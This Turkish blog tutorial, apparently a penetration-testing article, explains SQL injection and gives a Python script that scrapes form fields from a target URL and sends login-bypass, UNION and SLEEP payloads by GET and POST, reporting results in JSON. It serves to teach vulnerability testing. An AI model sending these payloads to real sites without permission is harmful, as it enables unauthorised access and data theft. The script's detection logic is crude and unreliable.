1. GİRİŞ

SQL enjeksiyonu (SQL Injection), web uygulamalarının veri tabanı katmanına yetkisiz komutlar göndererek manipüle edilmesine olanak tanıyan bir zafiyet türüdür. Bu zafiyetin kullanılmasıyla hassas bilgiler ele geçirilebilir, veri tabanında değişiklikler yapılabilir veya sistem çökertilebilir.

Bu makalede, Python dilini kullanarak web uygulamalarını SQL enjeksiyonlarına karşı otomatik olarak test eden bir script geliştireceğiz. Bu script, hedef uygulamanın SQL enjeksiyonlarına karşı savunmasız olup olmadığını tespit edecektir.


2. TEORİK ALT YAPI

2.1 SQL Enjeksiyonu Nedir?

SQL enjeksiyonu, kullanıcı tarafından gönderilen input verisinin doğru bir şekilde filtrelenmediği durumlarda ortaya çıkar. Saldırgan, SQL sorgularını manipüle ederek veri tabanına zararlı komutlar gönderebilir.

Örnek Hassas Sorgu:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

Eğer kullanıcı tarafından password alanında ' OR '1'='1 girilirse, sorgu şu hale gelir:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';

Bu sorgu her zaman doğru döner ve oturum açılabilir.

2.2 SQL Enjeksiyon Türleri

  1. Klasik SQL Enjeksiyonu: Kullanıcı inputları doğrudan SQL sorgularına eklenir.
  2. Kör (Blind) SQL Enjeksiyonu: Sorguların sonucunu göremediğimiz ancak mantıksal doğrulama yapabildiğimiz durumlar.
  3. Hata Tabanlı SQL Enjeksiyonu: Veritabanının hata mesajları üzerinden bilgi sızdırılması.
  4. Zaman Gecikmeli SQL Enjeksiyonu: Zaman gecikmesi (sleep) gibi yöntemlerle veri sızdırılması.
  5. Birlik (UNION) Tabanlı SQL Enjeksiyonu: UNION sorguları kullanılarak veri tabanından bilgi çekilmesi.

3. GELİŞTİRME ORTAMI

3.1 Kullanılan Araçlar

  • Python 3.x: Ana programlama dili.
  • Requests: HTTP isteklerini göndermek için kullanılır.
  • BeautifulSoup: HTML içeriğini analiz etmek için kullanılacak.
  • Json: Raporlama sistemi için kullanılacak.

3.2 Kütüphanelerin Kurulumu

Kullanılacak kütüphaneleri aşağıdaki komutla kurabilirsiniz:

pip install requests beautifulsoup4

4. GELİŞMİŞ SQL ENJEKSİYON TEST SCRİPTİ

Bu script, hem GET hem de POST isteklerini destekleyecek, sayfadaki parametreleri otomatik olarak tespit edecek, veritabanı türünü belirleyecek ve test sonuçlarını JSON formatında raporlayacaktır.

Kod:

import requests
from bs4 import BeautifulSoup
import json
import sys

# Zafiyet testinde kullanılacak payloadlar
payloads = [
    "' OR '1'='1 --",
    "\" OR \"1\"=\"1\" --",
    "admin' --",
    "admin\" --",
    "' OR 1=1 --",
    "' UNION SELECT null, null, null --",
    "' AND SLEEP(5) --"
]

# Hata mesajlarına göre veritabanı türü tespiti
def detect_db_type(response_text):
    if "syntax error" in response_text.lower() or "mysql" in response_text.lower():
        return "MySQL"
    elif "ORA-" in response_text:
        return "Oracle"
    elif "SQL Server" in response_text or "mssql" in response_text:
        return "MSSQL"
    else:
        return "Bilinmiyor"

# Form parametrelerini otomatik tespit eden fonksiyon
def find_form_parameters(url):
    response = requests.get(url)
    soup = BeautifulSoup(response.content, "html.parser")
    forms = soup.find_all("form")
    parameters = []

    for form in forms:
        inputs = form.find_all("input")
        for input_tag in inputs:
            name = input_tag.get("name")
            if name:
                parameters.append(name)
    return parameters

# GET ve POST parametrelerini test eden fonksiyon
def test_sql_injection(url):
    report = []
    print(f"[+] Test ediliyor: {url}\n")
    parameters = find_form_parameters(url)
    print(f"[+] Bulunan Parametreler: {parameters}\n")

    for param in parameters:
        for payload in payloads:
            try:
                print(f"[+] Parametre: {param}, Payload: {payload}")
                data = {param: payload}

                # GET isteği
                get_response = requests.get(url, params=data, timeout=10)
                db_type = detect_db_type(get_response.text)
                if db_type != "Bilinmiyor":
                    report.append({"method": "GET", "param": param, "payload": payload, "db_type": db_type})

                # POST isteği
                post_response = requests.post(url, data=data, timeout=10)
                db_type = detect_db_type(post_response.text)
                if db_type != "Bilinmiyor":
                    report.append({"method": "POST", "param": param, "payload": payload, "db_type": db_type})
            except requests.exceptions.RequestException as e:
                print(f"[!] Hata: {e}")

    with open("sql_injection_report.json", "w") as f:
        json.dump(report, f, indent=4)
    print("\n[+] Test tamamlandı. Rapor: sql_injection_report.json")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Kullanım: python script.py <hedef_url>")
        sys.exit(1)

    target_url = sys.argv[1]
    test_sql_injection(target_url)

5. KULLANIM

  1. Yukarıdaki kodu advanced_sql_tester.py dosyasına kaydedin.
  2. Terminalden aşağıdaki komutla scripti çalıştırın:
python advanced_sql_tester.py "http://hedef-sayfa.com/vulnerable_page.php"
  1. Script, sayfadaki form parametrelerini otomatik tespit eder, GET ve POST istekleriyle SQL enjeksiyonu testleri yapar ve sonuçları JSON formatında bir dosyaya kaydeder.

6. SONUÇ

Eklenen Özellikler:

  • Otomatik form parametresi tespiti.
  • Veritabanı türü tespiti.
  • JSON formatında raporlama sistemi.

Bu geliştirilmiş script, SQL enjeksiyon zafiyetlerini daha kapsamlı ve profesyonel bir şekilde analiz etmenize yardımcı olacaktır.

Not: Bu script yalnızca yasal izin alınmış sistemlerde kullanılmalıdır.

Tepkiniz ne oldu ?

Heyecanlı
0
Mutlu
0
Aşık
0
Emin değilim
0
Şapşal
0

İlginizi Çekebilir

Bir cevap bırakın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Daha fazlası:Sızma Testleri